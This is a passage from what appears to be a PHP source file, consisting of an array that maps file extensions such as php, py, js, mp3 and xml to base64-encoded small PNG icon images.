CAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJySURBVDiNlZNfbtNYGMV\/sa\/\/xC52Wid1QkuTUugIlFQCxAaQ2BHsglWwBlbQkUCQGY0UMkikSKRQdZqGNglpGsfX15enhofywHzP5\/yOziedQrvdfppl2Ys8z\/f4H2cYRkcI8aywv7\/faTQarTiOMQzjt8x5njMYDOj3++9FmqatKIpI03Qp+PRPm8HZEC0cTLuIEBblcpnt29tLTRRF9Hq9llBKoZQCIEkWdF6\/pGI57NX\/wKrEmF4J03T4djah\/e4vmq0mrutw5TOyLENrjdaaP\/9+RdzwiGsZYtpHJ0cU9DeEdUGtGnDv3h0+dP9d6rMsQ0gp0VrT6X3ks1FESo+qHBEsptDvY17MCddjguIqliiyWgrpfz6k3thCSolQSqG1ZniyYLO4w3Q2YzaXRAuLrfoDCsDR0Vdq5QTPLuH7Nv8dT9B1jVIKcVUh+K5ZZ5WZDjmdSe7v3WI0miCBm5Udzr+8wS7HGNkK8nL6s8IVgEBjxpKK7WJ7VXzvBqPRBIBCwSUZjinkCiN3cebGdYDtmaR5im1bhG6R0eCYzc1NFjLh7fu3CM8mssdY8xzHqV0HlOOI89MRpbUQzy8SlALOh+ecnlyidY2Ba2JyxnrhkNX6k+uASlxmOr4gUwrLtgGN76+wsebCicsk0fSSBabZ4m719i9+ANza3uDk+BRhGZiGYDFPkSrDTRTmVLFSCnj0+PFSvwRIKRFCYAqTja0a47MJ49GQ2cUlaZriCJeHu1U2dioAy\/QsyxBCiF6n09ltNptYlgVAuBYQrgXXRnSVLKWk2+0ihOgJ3\/efHxwcvOh2u3d\/f8zgOM5BGIbPfwAQSmassQoGQAAAAABJRU5ErkJggg==\",\"swf\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGpSURBVDiNlZK\/a1NRFMc\/7\/Y0DxpLtA8bnIyCg2D8C5SKKJT+AWInJy04ONk\/QKgiUhAHBWfBSXQoLi5icMsir8HhPdAg4kt0Kraa3HvfvQ7a2DYvqR44yznfH+ece4Nms3nRWrvqnDvNf4RSKhaRm0Gj0YhrtVq9Wq2ilPonsnOObrdLu91eF611PYoitNb7MzufYfYIqAmiKCJJkrrK85w8z\/HeF6b71sHcWKR\/5ij9Cyfxm9\/x3rPNE2st3vtCQ\/\/pA\/0rC\/iv2aAmHoI\/eGstyhgz0r334DY6y7DTM0zceUz4JoED04O+MQbZHn\/oUB9Tfq49BwfllYfI+fnfU+3Ajl1h69F9rHEAbFxdJCiFzLzPdmGstcUCrpOx+eIZ5H9rQc4QrljAezburWB7Bjl2nMOv3hKUSkPjFwr0Gq\/ZevqEHy\/XADh06y5MTo58pSGBL5cvDZqVpeuEZ8+NJBcK+GiW8FSdg9eWmJqbG0veJWCMQUSovYt3nGJ\/srUWJSJJHMdorUd+qL2ptSaOY0QkkXK5vJym6Wqr1Tox1nJPhGGYViqV5V9br0lw1NP\/5QAAAABJRU5ErkJggg==\",\"php\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJySURBVDiNlZNPSFRRFMZ\/vrnDOI4m+lKzhCyoFqEQpRXVIigG2gQuooWbNrWPWrSrlmEtgiAiIRBq47hIggaJYKboj6XMa9QaQ4aybBwb\/8w8x7nvvndbDCYShR04i8PHdzjn+86pGB4ePqmU6vE8r53\/CMMwLCHEpYpYLGa1tra2NTU1YRjGhsie55HJZEin0x+ElLLNNE2klP8zAKZpkkql2oTruriu+xuYydikvyySt0vYtiRvlyhJF8NncGj\/VvbubgBglSeUUmitKdgOyYk55nLLTGdtfMLHrh0m33Kz5AuS0orDyINhqqv8XLxwmMbNIZRSCMdxsJcdEuNZMHwEa4IEC4qW5hpOn9zD6NgM8bdfWSqUOHpwB6UVSV\/\/COfO7sdxHIhEIrp\/MKEfD33SgAZ0OBzWr0en\/1nf6X2uI5GINpRSTH9forjiADCb\/Uk0GqVlyyYAfmTm19WreDAoUEphKKXILRZxPQ1AY4NJOBwm\/W0BAMcrW6tZj3+e+lHWQCkFaBypAHg9Os1QfIr+J+P0DSS493CEvoEE76yZ3\/hgNMFyfh6lXCp6e3v14SMnuH3\/LZ0HdvJ+fJZ8ofSH7zXVATram4m\/+kj2+xduXD3DyxfPyhNsrg9yvnsfN+\/GsZdL+CurMIQfw+cHNK4jKSzM8WhslFAowPUrXdTXVa2toLVmW3MNt66dIvYmzdNnE+RyWYrFAp7nUVkZoL6umu6u4xzp2FnWROu1Bo7jIIQA4Fjndo51bv\/rCWtdFlMpVXZBCJGyLAspJVrrDaWUEsuyEEKkRCgUujw5OdmTTCZ3beyNyhEIBCZra2sv\/wIdNXwQeOKyCAAAAABJRU5ErkJggg==\",\"tar\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHqSURBVDiNlZE\/a1NRGIefe3KSQqo0CbbGimgyxD8lpQr9BrpmCIigrk4ScFBw7Chox3yB4iJIh8Qv4aRELUUlSYcm6Q00TfHmnnPuyY1DJEOTSvvC4YUDv+f3wOtsvfj4wNrRO5xwlRkjpMOr988pFosAbG9v8\/ZpmTBwalI6L6Xn+ZvpK5fz17PXiEg5DYgJoh+ilEolAKrVKnfX16jvNlc77YNNOfD9fCKe4mD3iFE4mgJE42NoMpmc\/HV\/90nEU9T9Zl4apTnueDPDAE50vMvlMrVaDYBAB3iHAUZphFIK5Wm0b2a+ILAASCnZ2NgYAwKL8jRKKaRWCqP0zHaAWBABoFAoUKlUABgG43atFELr2c0nDSqVCoVCYWKgfYPWBqm1wShzqoG1dsrAWotR\/wChGKL\/A1ADTW5xZdKeW1xBDTRaGUIxRIYRCxHQf2ZDevt9Ht9+RvTe+JyBb+nt9xFSEEYssjtw3fWbc0vLyaVTLU7OwtWLHPf6dL+4rmylm\/z4uVM3RzZ7ZgIQS8h6K928IF3rsffwWza1kDpPnnb\/MOt+8lwpvNzo+9d2wxt9zpwHMO9kG8LLxaUyMbXcv5+5lbmDEJEzhcNwSKexk2mZX3vOpbUnj0bGexOG+sZ5DISYazqx+dd\/AeApGyDxL7TZAAAAAElFTkSuQmCC\",\"rb\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAKKSURBVDiNlZNLa5NbFIafvbNz0YTGkNpYLBovraDWiSAqgqJ4OBwngnCmIlRw5KVYKKIDEUWw6kDxBwhOHQiCOFDIRDQIxxjUJgVbDo2m1WpsLs23v\/0tB9VC6aSu8fs8rHfBUvl8\/rDv+yNBEOzgD0ZrXTDGnFe5XK6QzWb7M5kMWutlwUEQUK1WGR8ff2s8z+tPp9N4nrcopESoPXyAe\/uajgN\/MXbvLp\/GynxuWXZeu8GWY\/9SKpX6jXMO59wi2K\/8z7szA7T\/e8nKkGbuQ5HUidO8HzyN32zx4vYIm48ewzmH8X0fEVmAZ5494c3ZAWjUCQkgAZ0b+pgdGWbj+gyjdaFhDCKC7\/toay0igohgqxXy5wZoN+v4gFNgE0lWHjxCZaLKl9ESHbUpVkRj83lrMc65+Q1EyJ07RatRJwygAIGt1+9QevKYr1ZoW8esVyNkxxERnHPo3xVmnj\/lQy7HrA8WcED2+ElU\/hHxoEHD+ngoAq3pXrt+ocLCDRIatnSmGP3yjdjqLvZeuMznG9cof\/+OpNJ4StNWISIYYun0UkE0lWT3xSv0Tk+T3Lmb\/NBZTGsOaTaRZpNw91pUAG5qklR3Zqngzc1bbNqzjfT0BJP3i8yOlbAKvBVxYp2dhLyA5swnlFasyqxeKqgUi8xNVVnnz1DVa7AIgsK1WvyYrLBOQojR1LBEOxJLBSqRoPJxAhId1L6+J0Boo4mJYqOJkIiG6YuFeTfXoC1uscBaS+\/gMK+uXqLRk0UrRaQeJhwJY6IRfqRWobu6iPT0sGtzL6F9+7HWzguMMaVCodC3\/dBhjv79z7KeyVpLoVDAGFMy8Xh8qFwujxSLxd5l0b8mGo2Wk8nk0E8I\/36fE9VC\/wAAAABJRU5ErkJggg==\",\"mp3\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGnSURBVDiNpZBPaxNRFMXPjFcSGtrQDiYNUgxKN0LqZ2hApAs\/Ql1ZN3Vp6Kbgxp3duPAbFLor0m132XQRKvUZUGegBq2EYBU78wIz789cFyXSOtPQ0gMPHpdzf\/fc63Q6nYfGmI00TRdwBbmuK4johdNut0W9Xm9Uq1W4rnup5jRNMRgM0Ov1PpJSquF5HpRSVwkAz\/Pg+36DrLWw1mYMYcI4OrH4+lMh6Mf49G0IcRhh79V9AMCoj4wxYOYM4Nn2H8gwQRTGkGECGZ3+z3qNMSCtdS5Ahgnqk4zbtSLmpku4d6uAR+sfznm11iBrbS4gCmO8eTqXqZ\/1jl1BhkluPbPChYDomoDRwQ4Oh3i++QPfTwzgOuMBn\/sJ1t4dw+\/HkFKBmdHaOsIXZwKYcVDNAbgjADPj5c4x3g9v4FexiEptEsyMxw+mMBVK3Ikl3j6p\/fMyczbB4t2b2N\/9jdmig9fLs2BmrC5VsLpUGX8DrTWICCtNDytNL9f8v4wxpysQkS+EgFLqXLxxTykFIQSIyKdSqdQKgmCj2+3OXzguR4VCISiXy62\/DsFP85AcHBcAAAAASUVORK5CYII=\",\"ttf\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIHSURBVDiNlZJBaBNBFIb\/newmxRRT3EqqobhRDCiJB+vBUxHBgxavevLgwbuCBcGexUNPlZ5EpCAIhXiViiJEbQIpttRFya5mkyZE0iSVom3dnTe7HlIDWzdQf5jL+9\/\/DW\/mScVi8RIRTbuuewb\/IcbYqizLd6VcLreqaVomHo+DMbavsOu6aDabqFQqn2THcTKqqsJxnMBmIVzcf7QAAHh4+3KvrqoqDMPIyEIICCH63rawaKCxvglJAnZsjoGwvAvu5hgRwfO8wLP5cwev8yWcO50A54RqY8PnExEY57wv4PnLZUyMn0JKGwaRQLnW8fmcczAhRGDYqndQqXcwPnYcx44MQQiBcq3t6xFCQP47wl49yRZw4+oYAA+jI13At7WWr5eIggEfli0MHRxASjsMz\/MQVkIYUQdh1dsgEgiFWH+AwwlPs4uYuJBGbulrr67IEn7bDqrfN5BMqP0B2VcrODE6jK1tG1vbdq8+eCDcHaPagnb0UDCg\/eMX3hZKmJm6hrAS8o318XMNhRULZnUdF8+nggGP59\/j+pWzUGT2z7skEyqICIbV7HlE1F2ktUYbN+\/N4U3+C+Ze5FGutXzf9W7JxJ0H8xBCQDfquDX1DLbtgIggzc7OlpLJZCqdTkNRlOB93iPOOXRdh2VZhhyNRidN05zWdf3kvtK7ikQiZiwWm\/wDf6N\/hwnofhAAAAAASUVORK5CYII=\",\"jpg\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIcSURBVDiNlZJNTlNhGIWf9+v9bi8FqnANjVHToCE6ANbgxGUYN8EiTGQJrsC4AgdOGOgABkCjicVII1qr\/LS0vbf9fh1gwszQd36enPOeI7u7u8+MMdsxxk1mOBE5SNN0S3Z2dg6azeZGo9FAKXUjcQiBXq9Hp9M5TIwxG3meY4yZxQB5ntNutzcS5xzv9g95\/votsVYhaoVMPTJ2SBmQSUAmEWVALIgXAN68eoFzjsQ5R3cwYPl+E5nXBC1MLwvi0JBahSojYWShDIgVlFeIwFl\/zLxyJNZaVK1G404DVdUEAk47wnyAiUcM6GmkPC9JKxlZrYZSglRTbGGvHFSU5unjR3y6GLOgFRdjQ6xFcIJYoWYD7rYnRE1taZEs04j2VxG89yhV4ecQ1u+tcNIfczeZp55ozieRlVRzfDxgablKVCmrj5aIaQLSxXuPcs5BgBgjE+tQUVitz\/HroqQYTOn1CvIsJUOhBUZDQ7c3Rny8fqLygcuzEeNRSXCBD51z\/NTjho5CKnQLjy0cWX2O3u8qIkK4lV0DEufon5xSSROCD5ixYTIo8YVFoQg2XpV\/BhWdXAE2Hl4DqlPLny8\/ULpC9AFTTHCl+++QnH1wDWjkdU6\/fZ1piSv5Iv3uvxY2nzT5\/v7lTIDhcMjn\/Y8kSqn23t7e2vr6OlrrG4mttbRaLZRS7WRhYWHr6Ohou9Vqrc3iIMuydr1e3\/oLlTAupOJParwAAAAASUVORK5CYII=\",\"css\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHNSURBVDiNlZK9bhNBFEaPZ2e8axvbImtpgcpCIkIiToOgoqXlAWiQeAAaSB16\/AC8Bq\/g1lUWV+vGrVG0koOw1zt\/FAOJrITE3G6k+c7cc+80ptPpa2PM2Dl3zH+UECKXUn5qTCaTfDgcjrIsQwixV9g5x3K5ZLFYfJd1XY\/SNKUYv8f8LAGQ3QOGH77eCknTlKIoRtJai7WWh65EdRsAaFfivb8V8DcnjTF471HO4rdbAJSK7wQAGGOQWmu894jHzxH1BgDfbOH2AGitkdZavPcU0RTNeeggGlCefmN7sQYg7rV58fnNjRqXCll7ifwzA2OXdMwBzW4GQG30jUrGmCuAEGBNUBBRgnQCW9UAyGZ0N0ANXoENLRO1aT1N8VsLQCPeA3D6Q7OqfgHQTxRnasW5DlsZqJjD8Rmri3Du92K+fDzeBVQP1rRVAkCl15TlI6J7CoDSaDa0SO43AdjYGu\/9LsBElrUJCs0oRhqoqvBiIgXOSzaboBQruQvQWvOsc8SWKlwgoZclrHXwbqsGWSOm0sE9UeEPGGOQUsoiz\/PDt0fvUEpdTejltZldltaaPJ8hpSxkp9M5mc\/n49ls9uTfkesVx\/G83++f\/AbgZRYV7aahUwAAAABJRU5ErkJggg==\",\"html\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJ\/SURBVDiNlZM9b1RXEIafe+65d9d79wP7rr1oMeCAsOTEjpBQKBBJlygSTZQ+HT8B\/gUVok2RPp0lJIjSWJFSGCS02aBk14XBCWZtgyzb7OJ7zpmh2NgUTgFTz\/vMzDsz0erq6tfe+zsi8jkfEcaYjrX2VrSystKZm5tbarVaGGM+SCwiDAYD1tfX\/7BFUSzleU5RFAAo8PDxvzzfGbLx6oDzMzXO5Bl5NeWLS\/kxJM9zer3ekg0hEEIA4OXuiJ9\/e0atWuaT9ilazSrtqYwgyu9\/Dbj\/6Dk3v5mnPVXhSGe896gqIsK95afEScKhE2abGQuzk9QnEja29zEmwmO4u\/wnzgdUFe89xjmHqvLjw7+RaOzB1fkZUhuTWIOoosBktUR9IsXElp9+7aOqOOcwIYxpG6+GnJup8+Vnp2lkKTY2JLGh8MJgd4iIciavUC4lrG8doKqEELBHI8TGcHV+hnJqMSYiNhE2NjzdeE3hhM23b1BV8lqZYazvRzgCnJ2usb33lkdrW+wNi2O3s1KCicbb8aKMCk\/rVOUkYCIxqAhrL\/b45ck\/PNvaxwfh8oUm31+7SKOSIgKT1ZQkjk4CpuspO7vjNkeHnsdrO7ggBFF8EKrlBBFlNDpkup6eBFxfaHLoHM1qig9Ke6qC84Lzgg8CwN7+kDSG6wvNkwBV5dvLp3mxvcvm1mtmpyu4ILgg7A8LDt6MqJUNN660j\/O99+MtOOew1jKZJdz67lMePNmk09+kcOPKaWKYnZrgh6\/Ojs\/9P7H3Hmut7XU6nfnFxUWSJMHGETeutP\/3iVQVAOcc3W4Xa23PZll2u9\/v3+l2u5c+7JHHUSqV+o1G4\/Y7VN2AN07a1GsAAAAASUVORK5CYII=\",\"txt\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFMSURBVDiNlZA9isJAFMd\/hgcWFhZRJFNoLLZ0a7XfStDLrLfwMAqewEILu6xV0lgpgieYj2SbTdhs4qIPhhmG\/+drHI\/HD2vtKk3Td14Yz\/MiEfls7Ha7KAzDUa\/Xw\/O8p8hpmnK73Tifz1+itR75vo\/W+pUA+L5PHMcjcc7hnHuJDJDzxFpLlmUArNdrut1uAVJKcblcSm+lFMPhEABrLWKMKQQWi0XFKQzDyjvHG2MQ51zxsdlsAIoUSimAwjlPM51OixqlCvP5vLbvYDAo3TneWlsW2O\/3JadHu8irVAQmk0nJqS7FvwkOh0OJdL\/fAeh0OgAEQQDwOMF4PK7dwd95mGC73VbcrtcrQRDU1ioEjDGICLPZrALq9\/sl199kay2eiMRRFKG1Jsuyp47WmiiKEJFYWq3WMkmS1el0entqAT\/TbDaTdru9\/AbO\/\/fVB3FwJQAAAABJRU5ErkJggg==\",\"cpp\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGnSURBVDiNlVIxSxxBGH0zfncrd5oDN3AEUhwJZyFcTBPShqC1IvgLhOQPxN42YJFKQjoLsZBUKZIiaRZSLZFkPDHuNmfnFRdOPIw3881Mqj1Z16D3wWvefO\/xvceIOI4XmXnTOfcEY4yUUhHRGxFFkWo0Gq16vQ4p5Z3Ezjl0u110Op0D0lq3wjCE1nqcAxCGIZIkaZG1FtbascQAkOmImeG9zz3+Sob4Fl+g22OUSGDuURnLL6ZQmcxHZGZIYwy89yP8OLrE+499BCVgdWEKi88r2P89xNZeP7fnvYcxBmStzV3w+fsA0xWB1ys1ZJ0+uD+Bs4GFcx5C5GMUIpycajydDSCER0Y\/fkgACMAVl0UoGDAD2vhCLzcNM0NmBhnqMxIqHcKwG3E\/jy+x9\/Uc2rjc7o0GKy+rOO0ZbHzoIdq\/wKdogLfbfxAf\/sWERMGgEGG+WcbGqxnsfDnHu90+yiWBZ3MB1pbu3a2DzGS+GRYyX98bGRhjQES3lnZdzMyQRJQopaC1LnyU\/0FrDaUUiCiharW6nqbpZrvdbo5zQRAEaa1WW\/8HGgtKKBMv8f4AAAAASUVORK5CYII=\",\"h\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFkSURBVDiNlZIxbttAEEUfV+OoUKGChVohQAA38hnSuHbnO7iPD5DeB8hBcgKVkd3QQmRQgKHKgNwZSEEuZ3ZSMLIpUwmiD0yxmP2D\/+dPtlgszlX1JqV0xhEIIRQi8iWbz+fFdDqdTSYTQgj\/RU4psd1u2Ww29xJjnOV5TozxGAHkeU5ZljMxM8zsKDLAjhdUFXffK0oYXA7gB71et1QVaZqmJXWh4L8cV+\/3OmiaBjGz\/qcE1ICBN072nOETh0HfhuwsvB\/gtcMtyFeBCvyjo98UPnSEqh7egSdvFTxB\/B6xKyNbZWR3WX8HBxVYq8A+Gx4cmxmhDvjL\/k56CngAr\/x1Bx46ydTg1k9hb8DJxQk8gifHa38j7N56IMauhepn9eZi9ee4HPzUqVbV67trQVS1zVPkr3kfgqq2FkSkLIqCGOM\/r65bMUaKokBEShmNRtfr9fpmuVx+OkbBcDhcj8fj698AUnPo+XFYhgAAAABJRU5ErkJggg==\",\"java\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIPSURBVDiNlZPPaxNBGIafncxumsa0lqUGxGAUrCKpgiIBrYKCFDz0Us\/+BfUi9uJd6KHqQQ\/qP+DFiwURepHGg0IO2jTQmoiWYrUpUvs76czsrIfQQNttwRfmMDPv+\/B93zBOsVi8aYwZtdae4z8khChJKe87hUKhlM1me9PpNEKIaHPhGfbaUGtvraVWqzE7OzsllVK9vu+jlIoMO6u\/8Ra\/stVo7Dj3fZ9KpdIrgiAgCALCMNyz2Fii7d0D9MU7iJ+fd9xt54QxJjr8d47E2F10Jo\/34QnOyvwejzEGqbVuBnaprfgSdeI63vQY9f6HBOmzsMuntUbsV34YS2APHSFM+YjF6UjPgS1s9t1DfpvA+KcRS9+bVW5t7G1hG7Ct+JdXeDPj6MwldCaPO\/cJm+zGm3xNbKGEWFtgffAFQDRAZ\/LE5ichUDiNZdTxyxBPoU5eJS4EXnW85Y8EmK4s5tgFvJm3OFYRugmC1FHY+ANBg9WBp61hRgLEeg3rdSDWauC6OPVlwjDG1pUbhInDTdN+gI43Q8hfU6gz\/dRzgyBcsBYn2CT5fgRH1VHZPhrnb+8EaK2RUrJ66xGxpR+0f3xOW3UCJ7SETgxCS9jeRZDqxvjZ1gsYY5BSykqpVOrJ5XK4rovt7mFl4HHkv2gNWinK5TJSyopMJpPD1Wp1tFwunzowtUvxeLza2dk5\/A8rQ4uu8K0RngAAAABJRU5ErkJggg==\",\"js\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGZSURBVDiNlZKxa1NRFMZ\/93IhlhQjfUKQog2COEWnKDgK3aKj6OBf4OJg\/4FOgtl0sLgJWXUXRIgFh1CQZ1xeBoNQIeKg4uJ9557jUKt9pkZz4Gzf9zvnu+e64XC4LiI9VT3HAuW9z0MId9xgMMhbrVa72Wzivf8vs6oynU6ZTCZvQoyxnWUZMcZFFiDLMoqiaIeUEimlhcwA+74gIpjZwgAAEcGXZYmZ\/e6v7\/Fbq\/BpBLvbuKdX8I9a+P4F+Pi6oi3LkpBSqm5gYNFharhXPWz5JOn6Fu7zO6y2Age0h0dQ+wkAlk7hime4mLCzV7ETnQpARPD7gF+thn3f2yCt3yNdvouVDvfkFuw8rmgPBxho9KgCO3302GnSpdtoOI59+zIDmIngdt9iegQ7ugof+rjnD0AFXetg56\/NRKgA\/Iv7uJcPsc4NrLaMdTehu1m93TyAtrvYxZuw1KgI5\/2DICJ79wwBW1mbmTLPLCL4EEKR5zkxxj8e8+8dYyTPc0IIRajX6xvj8bg3Go3O\/HPsgarVauNGo7HxAwJPUB9huYnSAAAAAElFTkSuQmCC\",\"py\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJkSURBVDiNlZO9a1NRHIafe+65uflo2tigKVgxUq0gbUUcREQ3cfALHN0EK66CHVzcXMTJ2X\/Af8DJwVYqQqWWNFSbKNaKH63VmCa9yT3n3HscNBeli77z8z783uHnzM3NnTbG3IvjeIL\/iBCiIqW86czMzFTK5fJ4qVRCCPFP5TiOWVtbY2VlZVEqpcaLxSJKqQR49PwVzxbf4gqBUhqtFdcunmR071DCFItFarXauIiiiCiKsNZiraXRCpivf+bUkYNk8gUcv4\/1AO4\/fJww1lp6PWmMwVoLQLPdYW7pHZtByHRllVani47gR6CxTifhejHGILXWWGt58vINs6+\/0OxEbHZjgkaTTjdEOR6trqE\/FRK+uA64iNEbyPwIWmtE7\/zpxVUqGw5LGxEfWoKvyqNFFhUJsukMGbYoFPawM1wgrN5NZiQTgtCg4gyu9PBcS9T4hI\/CcyDrhlwafY8XZSBSEDWw1v6a0BNopcBxSPk+pcY8t868YyjXxuouKdcl7wtoLEMUEMdsF6SFxrcWwk0uT7zn0Ege2uugO6DasNUC3QXhEWqPzG+B6AmunjvOfucjO7of2NXXBrOMdbZotjb4sdWioX2+iTKrqowdOrv9guHSILcnLwCgl2Yh0wcyhacjYiNofFcEg1fonzhBxu\/fLvgzOs5DLotjArLpAmvNo8TBU\/p2H8NN5RM+EWitkVImAnd4klrlAdKzxFZi1AJix3nS6cJfZWMMUkpZq1Qqo2NjY3ieB4DM76P\/8J1tT9Qra62pVqtIKWsyl8tN1ev1e9Vq9cA\/veLv+L5fHxgYmPoJJsCGQPCg5+wAAAAASUVORK5CYII=\",\"diz\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAD9SURBVDiNzVCrjoRAEKyddIJAIEZgMSc5D34TFF9z+xf7NQgMDoHBzaHAYPmFmZ7hxIXN7oYhh7tOKun0o1JVl77vr8x8d8594kQJIRQRfV3atlVJkqRxHEMI8adn5xyWZcE8z9+ktU6llNBanxEAKSXGcUzJWgtr7alnANj+iJmxruvuUdd1AIA8z3f3zAwyxngJtrlvb4wBWWu9B1mWHRIcWqiq6tGXZem1IDaCdxRF8WJlD8zsV\/A881n4HwTeDJqmeRzWdX2cgTEGRPTC\/hzingpm\/lVARKNSClprb9rv0FpDKQUiGikMw9s0TfdhGD52jXoqCIIpiqLbDyVJHq338QJuAAAAAElFTkSuQmCC\",\"cmd\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHiSURBVDiNlZK9a1NhFMZ\/933P\/Qgp6XDFki2LLjZFdKoEWpBY\/4Vg\/oNSFPuRbiKunaWEqhQRcZdOQrldHKJLkikB6dpF7VAJyfu+1yFfHXsPnOXA+Z3nPDxeq9WqGmMOnHMrZCilVFtEdryzs7N2qVQqLy0toZS60bJzjouLC87PzzsyHA7LcRwzHA6zCCCOY3q9XlmstdRqNZIkyQRYW1tjc3MTZYzJvAyQJAnGGNRoNJoNC4VCJshoNEJZa2eDTqdDo9GgUCjgeQqtNFoLon1E+2gtaKXxvLHZ1trxC9OqP6uzuvqIdrvDfmOfW\/FtoiBHFE46yBEGOaIgIgwijDGIMQalNKKFH62f1Gt1tp5v0djfo1gs8vrVGzw8AFJS0jTFOYdL7RzgS4BooVKpsL3zkvJKmaPmO94fHRMFOZgAIMWlbgxw1wCiBRGf448f+PzpC9sv9rj8c4lSQhjk8LyJgul1Z7DXAQCihMfrG\/z9fYmI4PshyfdvLCzkZx6tPlgfX7YaM7iaA6obVU6+nvDv1xVq4rxWmvv3HqKUnkV8Kt06y5On1Tng8PAtURRlysBgMKDZbCIi0js9Pb27vLyM7\/s3DlC320VEepLP53f7\/f5Bt9u9k0VBGIb9xcXF3f+O+N\/4FuZWJwAAAABJRU5ErkJggg==\",\"xml\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHGSURBVDiNlZLPSlthEMV\/98t3c4PBXJtbSCEg2RQkNN34DC5cuOgL+BT1LXwAX6R7CegmReE2tHAjKsQ\/pCuDBsn3504XMTeNLaUZmMUMZ86cOUzQ6\/V2nHOHeZ5\/ZIVQSqVa689Bt9tNW61Wp9FooJT6r+E8zxmNRlxfX3\/TxphOkiQYY1YRQJIkZFnW0d57vPcrDQPM57RzDhF5pVFABQAEE0NgPXmtUvTm4ZxDWWsRkSLLJ1eou3FRV758R\/fvUXdjyidXS1hrLcp7XzSi7iXh+S2+vjZT9WzRP0aYdgNfXyM8vyXqXhZ47z1qfkJ0fEF4NuRxf5s8KiEihP17\/NsqPq6QRyUe97cJz4ZExxeICM65hQfB0xQBpBQUnoRf